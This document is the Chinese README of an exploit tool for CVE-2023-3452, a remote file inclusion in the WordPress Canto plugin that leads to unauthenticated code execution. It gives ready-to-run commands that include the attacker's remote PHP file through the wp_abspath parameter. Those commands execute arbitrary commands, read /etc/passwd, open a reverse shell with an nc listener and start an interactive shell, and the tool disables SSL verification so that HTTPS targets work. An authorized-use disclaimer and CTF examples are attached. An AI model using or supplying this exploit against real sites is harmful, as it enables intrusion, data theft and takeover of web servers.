针对WordPress Canto插件(≤ 3.0.4)RFI漏洞的利用程序。实际能在HTTPS上工作 —— 其他公开的PoC基本放弃了SSL。
功劳归功:此CVE由他人发现。我只是做了一个在HTTPS目标上不会崩溃的版本。
| CVE | CVE-2023-3452 |
| EDB-ID | 51826 |
| 类型 | 远程文件包含(RFI)→ 未认证远程代码执行 |
| 影响范围 | WordPress Canto插件 < 3.0.5 (≤ 3.0.4) |
| 披露者 | Leopoldo Angulo (leoanggal1) — 2024-02-27 |
| 文件位置 | /wp-content/plugins/canto/includes/lib/download.php |
| 攻击向量 | wp_abspath 未经任何验证就被用于包含PHP文件——我们远程包含我们的文件。 |
大多数针对此CVE的利用程序在HTTPS上失败是因为SSL验证。此脚本:
verify=False,因此HTTPS目标实际可用requestspip install -r requirements.txt
或者直接:pip install requests
python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [选项]
* 未提供命令时,默认执行 id; whoami; hostname 作为快速检查
单个命令:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"
读取文件:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
反弹shell(先运行 nc -lvnp 4444):
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
交互模式:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i
HTTPS CTF目标:
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
/wp-content/plugins/canto/readme.txt,解析版本(≤ 3.0.4 即为存在漏洞)wp-admin/admin.php,通过 system() 执行你的命令download.php 时附带 wp_abspath=http://LHOST:LPORT,使其包含我们的远程PHP文件LHOST:LPORT 访问你的机器(对于HTB/实验室环境,那便是你的VPN IP)-p)的入站连接仅用于授权测试和教育目的。只接触你被允许的系统。其他任何用途均属违法。
MIT
| 选项 | 描述 | 必需 |
|---|
-t, --target | 目标WordPress URL(HTTP或HTTPS) | 是 |
-l, --lhost | 你的IP——目标需要能访问此IP以获取payload | 是 |
-p, --lport | Payload服务端口(默认:8888) | 否 |
-c, --command | 在目标上执行的命令 | 否* |
--revshell | 生成反弹shell | 否 |
--shell-port | 反弹shell的监听端口(默认:4444) | 否 |
-i, --interactive | 交互式shell模式 | 否 |
-v, --verbose | 额外输出 | 否 |
--skip-check | 跳过漏洞检查 | 否 |